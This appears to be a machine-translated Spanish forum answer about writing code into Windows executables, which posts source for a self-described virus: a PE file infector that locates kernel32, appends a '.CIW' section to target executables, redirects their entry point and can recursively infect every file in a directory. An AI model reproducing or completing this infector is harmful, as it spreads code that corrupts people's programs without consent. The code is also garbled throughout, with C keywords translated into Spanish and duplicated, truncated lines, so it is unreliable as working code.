Cómo escribir funciones en archivos ejecutables en VC
En primer lugar, debes comprender:
1. p>2. Reubicación de código
No tienes ningún problema con lo anterior, entonces échale un vistazo
- -! Dices que no es un virus, pero no es un virus, al menos es una infección.
¿Quieres decir que tu código está escrito en un archivo, no solo en la memoria?
El siguiente código hace precisamente eso.
El siguiente es un fragmento de código de virus. Su función es la misma que dijiste anteriormente, así que úsalo con precaución.
Publicación original:/ciw_blue/blog/item/527fef260882db108b82a139.html
Dos requisitos: 1. Compilar en VC6.0 2. Compilar en modo de lanzamiento.
Lo que quieras, por favor escribe la función DWORD WINAPI VirusThread(PVOID pParam).
#include
//#include
#pragma data_seg(".mydat")
#pragma code_seg(".shell")
#pragma code_seg(".shell")
#pragma code_seg(".shell")
#pragma code_seg(".
#pragma comment(enlazador, "/SECTION:.mydat,RWE")
#pragma comment(enlazador, "/SECTION:.shell, RWE")
#pragma comment(enlazador, " /MERGE:.mydat=.shell")
#pragma comment(enlazador, "/merge:.data=.text" )
#pragma comment(enlazador, "/merge:.rdata=.text")
#pragma comment(enlazador, "/ENTRY：main")
#define GetFunOffset(pFun) _asm mov eax, [ebx + pFun] _asm mov pFun, eax
#define GetStringOffset(pStr) _asm mov eax, [pStr] _asm lea eax, [ebx + eax ] _asm mov pStr, eax
#define GetGlobalVar(dwGlobalVar, dwLocalVar) _asm mov eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
#define GetGlobalAddr(dwGlobalVar, dwLocalVar) _asm lea eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
#define Recode(A) _asm call A _asm A：_asm pop ebx _asm lea eax, A _asm sub ebx, eax
#define VA_END -2
void GetKernellFun();
int Invoke(char* pGlobalDllName, char* pGlobalFunName, char* pGlobalAgrFmt, ...);
DWORD WINAPI VirusThread(PVOID pParam);
bool Strcmp(char* szSrc, char* szDes);
void Strcpy(char* szSrc, char* szDes);
bool InjectPeFile(char* szPeFileName);
#define VA_END -2
DWORD GetProcessIdFromName(LPCTSTR nombre);
int Invoke (char* pGlobalDllName, char* pGlobalFunName, char* pGlob
alAgrFmt, ...);
void InjectCodeEnd();
void RecoverCode();
int FindDir(char *szDir);
int Align(int nSize, int n);
DWORD dwOldEntry = 0;
char szOldInstruction[8] = {0};
char szLoadLibrary[] = "LoadLibraryExA";
char szGetProcAddress[] = "GetProcAddress";
char szSectionName[] = ".CIW";
char szMutexName [] = "CIW";
char szInjectPeFileName[] = "C:\\1.exe";
DWORD dwLoadLibrary = 0;
DWORD dwGetProcAddress = 0;
carácter sin firmar cJmp[4] = {0x83, 0xC0, 0x00, 0xe9};
#define DOS IMAGE_DOS_ HEADER
#define NT IMAGE_NT_HEADERS
#define SEC IMAGE_SECTION_HEADER
#define IMAGE_NT_SIGNATURE0x00004550
#define MAX_PE_FILE_SIZE 2048
void WINAPI InjectStart()//inicio de la ejecución del código
{
Recode(A);
DWORD dwEntry = 0;//Dirección de entrada original
DWORD dwVirusThreadAddr = 0;//Dirección del hilo del virus
BOOL bIsCreateVirusThread = TRUE; // Si se debe ejecutar el hilo del virus
GetGlobalVar(dwOldEntry, dwEntry)// Obtener la dirección de entrada del programa original
GetGlobalAddr(VirusThread, dwVirusThreadAddr)// Obtener la dirección del hilo del virus
GetKernellFun(); //Obtener la dirección de Kernel32 y las direcciones de LoadLibraryExA y GetProcAddress
if(Invoke("Kernel32", "CreateMutexA", " nns", NULL, FALSE, szMutexName, VA_END))//Crear un objeto mutex
{
if ( Invoke("Kernel32", "GetLastError", "", VA_END) == ERROR_ALREADY_EXISTS)// El objeto mutex ya existe
bIsCreateVirusThread = FALSE;
}
if ( bIsCreateVirusThread) // El hilo del virus no se está ejecutando
{
//crear proceso de virus
HANDLE hVirusThread = (HANDLE)Invoke(
"Kernel32", "CreateThread", "nnnnnnnn", NULL, NULL,
dwVirusThreadAddr, NULL, 0, NULL, VA_END //crea hilo de virus
}
else
{
Invoke("User32", "MessageBoxA", " nssn", NULL, "El hilo del virus ya se está ejecutando.
", "Infección", MB_OK, VA_END);
}
RecoverCode(); //Restaura el código de la entrada original
_asm jmp dwEntry/ //Salte a la entrada original para iniciar la ejecución
}
DWORD WINAPI VirusThread (PVOID pParam) // Hilo de virus
{
//////////////////////////////////////Función ejecutada por el virus////// /// ////////////////////////////////////////
Recode(A)
char *pPeFileName = NULL;
GetGlobalAddr(szInjectPeFileName, pPeFileName)
if (Invoke("User32", "MessageBoxA", " nssn", NULL, "¿Realmente deseas ejecutar el programa?"
if (Invoke("User32", "MessageBoxA", "nssn", NULL, "¿Realmente deseas ejecutar el programa?" ?", "infección", MB_YESNO, VA_END) == IDNO)
{
Invoke("Kernel32", "ExitProcess", "n", 0, VA_END);
}
Devuelve 0;
}
void GetKernellFun()
{
Recodificar(A)
char* pLoadLibrary = szLoadLibrary;
char* pGetProcAddress = szGetProcAddress;
DWORD dwFuncAddr = 0;
GetStringOffset(pLoadLibrary);
GetStringOffset(pGetProcAddress);
IMAGE_DOS_HEADER* stDos;<
IMAGE_NT_HEADERS* stNT;
IMAGE_DATA_DIRECTORY* stDatDir = 0;
IMAGE_EXPORT_DIRECTORY* stEPT;
DWORD dwKernelBase = 0;
_asm
{
mov eax,dword ptr fs: [30h]
mov eax,dword ptr [eax+0Ch]
mov esi,dword ptr [eax+1Ch]
lods dword ptr [esi]
mov eax,dword ptr [eax+08h]
mov dwKernelBase, eax
}
char *pBase = (char* )dwKernelBase;
stDos = (IMAGE_ DOS_HEADER*)dwK
ernelBase;
stNT = (IMAGE_NT_HEADERS*)(pBase + stDos->e_lfanew);
stDatDir = &stNT->OptionalHeader.DataDirectory[0];
stEPT = (IMAGE_EXPORT_DIRECTORY*)(pBase + stDatDir->VirtualAddress);
DWORD* dwFunAddr = (DWORD*)(pBase + stEPT->AddressOfFunctions);
DWORD* dwAddr = (DWORD*)(pBase + stEPT->DirecciónDeNombres);
WORD* dwAddr1 = (WORD*)(pBase + stEPT ->DirecciónDeNombresOrdinales);
DWORD i = 0;
for(i = 0; i < stEPT->NumberOfNames; i++)
{
if(Strcmp(pBase + dwAddr[ i], pLoadLibrary) == 0)
break;
}
WORD* pwBase = (WORD*)(pBase + stEPT->AddressOfNameOrdinals);
int nFunIndex = pwBase[i] + stEPT->Base;
dwFuncAddr = dwFunAddr[nFunIndex-1];
_asm
{
Recodificar(B)
mov eax, dwFuncAddr
agregar eax, dwKernelBase
mov [ebx + dwLoadLibrary], eax
}
for(i = 0; i <stEPT->NumberOfNames; i++)
{
if(Strcmp(pBase + dwAddr[i], pGetProcAddress) == 0)
break;
}
nFunIndex = pwBase[i] + stEPT->base;
dwFuncAddr = dwFunAddr[nFunIndex-1];
_asm
{
Recodificar(C)
mov eax, dwFuncAddr
agregar eax, dwKernelBase
mov [ebx + dwGetProcAddress], eax
}
}
int Invoke(char* pGlobalDllName , char* pGlobalFunName, char* pGlobalAgrFmt, ...)
{
Recode(A)
GetStringOffset(pGlobalDllName);
GetStringOffset(pGlobalFunName);
GetStringO
ffset( pGlobalAgrFmt);
DWORD dwLoadLib = 0;
DWORD dwGetProcAddr = 0;
GetGlobalVar(dwLoadLibrary, dwLoadLib);
GetGlobalVar(dwGetProcAddress, dwGetProcAddr);
HMODULE hDll = ((HMODULE(WINAPI*)(char*,HFILE,DWORD))dwLoadLib)(pGlobalDllName, NULL, NULL);
PROC dwFunAddr = ((PROC(WINAPI*)(HMODULE,char*))dwGetProcAddr)(hDll, pGlobalFunName);
DWORD dwRet = 0, j = 0;
DWORD dwParam [128], dwParamTemp = 0;
DWORD dwParamLen = 0;
va_list stVaList
va_start(stVaList, pGlobalAgrFmt); > while((dwParam[dwParamLen++] = va_arg(stVaList,DWORD))!= VA_END);
dwParamLen -= 2;
while(dwParamLen != -1)
{
dwParamTemp = dwParam[dwParamLen];
if(pGlobalAgrFmt[dwParamLen] == 's' || pGlobalAgrFmt[dwParamLen] == 'S')
GetStringOffset(dwParamTemp);
_asm push dwParamTemp
dwParamLen--;
}
_asm mov eax, dwFunAddr
_asm call eax
_asm mov dwRet, eax
va_end(stVaList);
return dwRet ;
}
bool InjectPeFile(char* szPeFileName)
{
Recodificar(A);
char* pSectionName = NULL;
DWORD dwEntry = 0, dwInjectCodeEnd = 0;
GetGlobalAddr(InjectCodeEnd, dwInjectCodeEnd )
GetGlobalAddr(szSectionName, pSectionName);
GetGlobalAddr(dwOldEntry, dwEntry)
DWORD dwCodeSize = (DWORD) dwInjectCodeEnd - (DWORD)dwEntry, dwSize = 0, dwOldEntry1 = 0
HANDLE hFile = (MANGO)Invocar("Kernel32", "CreateFileA",
"nnnnnnnn", szPeFileName, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL, VA_END); //abre este archivo
if (hFile == (HANDLE) -1)
devuelve falso;
HANDLE hMap = (HANDLE)Invoke("Kernel32", "CreateFileMappingA", "nnnnnnn", hFile, NULL, PAGE_READWRITE, NULL, NULL, VA_END);
char* pFile = (char*)Invoke("Kernel32", "MapViewOfFile", "nnnnnn", hMap, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL, VA_END);
DWORD dwFileSize = Invoke("Kernel32", "GetFileSize", "nnnn", hFile, NULL, VA_END);
If (dwFileSize < MAX_ PE_FILE_SIZE)
Devuelve 0;
IMAGE_NT_HEADERS* stNT = (NT*)((char*)pFile + ((DOS*)pFile)->e_lfanew);
if (*(WORD*)pFile ! = IMAGE_DOS_SIGNATURE)
Devuelve 0;
Si (stNT->Firma != IMAGE_NT_SIGNATURE)
Devuelve 0;
IMAGE_SECTION_HEADER* stSec = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));// Inicio de la tabla de secciones
IMAGE_SECTION_HEADER* stLastSec = &stSec[stNT ->FileHeader.FileAlignment;//Alineación de archivos
DWORD dwCodeAlign = stNT->OptionalHeader.SectionAlignment;//Alineación de códigos
for(int i = 0; i < stNT- > FileHeader.NumberOfSections; i++)//recorre todas las tablas de secciones
{
if(!Strcmp((char*)stSec[i].Name, pSectionName))//hay ninguna tabla de sección con pMySectionName
devuelve 0;
}
DWORD dwOldEntryAddr = stNT->OptionalHeader.ImageBase + stNT->OptionalHeader.AddressOfEntryPoint;
}<
/p>
DWORD dwOldEntryAddr = stNT->OptionalHeader.ImageBase + stNT->OptionalHeader.AddressOfEntryPoint;
if(!AddressOfEntryPoint; //Punto de entrada de PE
Recode( B )
_asm
{
mov eax, dwOldEntryAddr
mov [ebx + dwOldEntry], eax///guardar el punto de entrada del PE
}
//mueve el puntero del archivo al principio del código
Invoke("Kernel32", "SetFilePointer", "nnnn", hFile, stNT -> OptionalHeader.SizeOfHeaders + stNT->OptionalHeader. "nsnnnn", hFile, szOldInstruction, 8, &dwSize, NULL, VA_END);
//Mover el puntero del archivo al final de la última sección
Invoke("Kernel32", "SetFilePointer", "nsnnnn ", hFile, stLastSec-> PointerToRawData+stLastSec->SizeOfRawData, NULL, FILE_BEGIN, VA_END
//Escribir); Ingrese el código infectado
Invoke("Kernel32 ", "WriteFile", "nnnnn", hFile, dwEntry, dwCodeSize, &dwSize, NULL, VA_END
//Invierte el archivo); El puntero se mueve al principio del código
Invoke("Kernel32", " SetFilePointer", "nnnn", hFile, stNT->OptionalHeader.SizeOfHeaders + stNT->OptionalHeader.AddressOfEntryPoint-stSec-> VirtualAddress, NULL, FILE_BEGIN, VA_END);
//Escribe 3 instrucciones basura y una instrucción Jmp (0xe9)
Invoke("Kernel32", "WriteFile", "nsnnn", hFile, cJmp , 4, & amp;dwSize, NULL, VA_END);
// Calcula la dirección a la que saltará el código de infección
DWORD dwAddr = stLastSec->VirtualAddress + stLastSec->SizeOfRawData + (DWORD) InjectStart - (DWORD)&dwOldEntry - 8 - stNT->OptionalHeader.
AddressOfEntryPoint;
//Escribe la dirección en la parte posterior de la instrucción Jmp (0xe9)
Invoke(" Kernel32", "WriteFile", "nnnnnn", hFile, &dwAddr, 4 , &dwSize, NULL, VA_END);
Strcpy((char*)stLastSec->Name, pSectionName);// Establece el nombre de la tabla de secciones. //Establece el nombre de la tabla de secciones, que se usará más adelante para determinar si este PE ha sido infectado
//Propiedades de la tabla de secciones
stLastSec->Características = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_ WRITE | IMAGE_SCN_CNT_CODE;
stLastSec->Misc.VirtualSize = stLastSec->SizeOfRawData + Align(dwCodeSize, dwCodeAlign);//infecta el código en la memoria con "nnnn",hFile, stLastSec ->PointerToRawData + stLastSec->SizeOfRawData, NULL, FILE_BEGIN, VA_END);
Invoke("kernel32", "SetEndOfFile", "n", hFile, VA_END); //Hacer crecer el archivo
stNT->Encabezado opcional. SizeOfCode += Align(dwCodeSize, dwCodeAlign);//Aumentar el tamaño del código en todo el PE
stNT->OptionalHeader.
SizeOfImage += Align(dwCodeSize, dwCodeAlign);//Aumentar el tamaño de la imagen de todo el PE
Invoke("kernel32", "FlushViewOfFile", "nn". pFile, stNT->OptionalHeader.SizeOfHeaders, VA_END) ;
Invoke("Kernel32", "UnmapViewOfFile", "n", pFile, VA_END
Invoke("Kernel32", "CloseHandle", "n", hMap, VA_END);
Invoke("Kernel32", "CloseHandle", "n", hFile, VA_END);
Devuelve 1; /p >
void RecoverCode()
{
Recode(A);
DWORD dwOldInstructionPos = 0, dwSize = 0;
GetGlobalVar(dwOldEntry, dwOldInstructionPos);
Invoke("Kernel32", "WriteProcessMemory", "nnsnn", -1, dwOldInstructionPos, szOldInstruction, 8, &dwSize.VA_END);
}
bool Strcmp(char* szSrc, char* szDes)
{
while(*szSrc && *szDes && *szSrc == *szDes )
{
szSrc++, szDes++;
}
Devuelve *szSrc - *szDes;
}
void Strcpy(char* szSrc, char* szDes)
{
while (* szDes)
{
*szSrc ++ = *szDes++;
}
*szSrc = 0;
}
int Alinear(int nTamaño, int n)
{
if(nTamaño % n)
{
int num = nTamaño / n;
Devuelve (num + 1) * n;
}
Devuelve nSize;
}
void InjectCodeEnd( )
{
}
int main()
{
DeleteFile("C:Nueva carpeta \\ \\1.exe");
EliminarArchivo("C:\1.exe");
CopiarArchivo("E:\\ MiProyecto\VC\VC 6.0\ \\ \\\ Programa MFC\\\\\ IPConfiger 1.1\\ IPConfiger 1.1 (IPConfiger 1.1\ IPModify.exe)", "C:\\ Nueva carpeta\\\\ 1.exe", verdadero);
CopiarArchivo("E:\MiProyecto\VC\\VC 6
.0\\\\\ programa MFC\\\\\ IPConfiger 1.1\ IPConfiger 1.1\ IPModify.exe", "C:\1.exe", true);
// printf("% d\n", (DWORD) InjectCodeEnd - (DWORD)&dwOldEntry);
GetKernellFun();
// FindDir("C:\1.exe"); p>
InjectPeFile("C:\\ Nueva carpeta\1.exe");
return 0;
}
int FindDir (char *szDir)
{
directorio char[MAX_PATH];
archivo char[MAX_PATH];
HANDLE hFile;
WIN32_FIND_DATA fd;
memset( &fd, 0, sizeof(WIN32_FIND_DATA) );
strncpy(directorio, szDir,MAX_PATH);
strcat (directorio, "*.*");
hFile = FindFirstFile(directorio, &fd);
hacer
{
if ( fd.cFileName[0] ! = '.')
{
if( fd.cFileName[0] ! = '.')
si fd.cFileName[0] es '.', entonces fd.cFileName[0] es '.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
{
memset(archivo, 0, MAX_PATH
strcpy(archivo, szDir ).
strcat(archivo, fd.cFileName );
strcat(archivo, "\\" );
FindDir(archivo);
}
else
{
memset(archivo, 0, MAX _PATH
strcpy(archivo, szDir);
strcat(archivo, fd.cFileName );
if(InjectPeFile(archivo))
{
// printf("%s\n", archivo );
}
}
}
}
}mientras( FindNextFile( hFile, &fd) );
devuelve 0;
}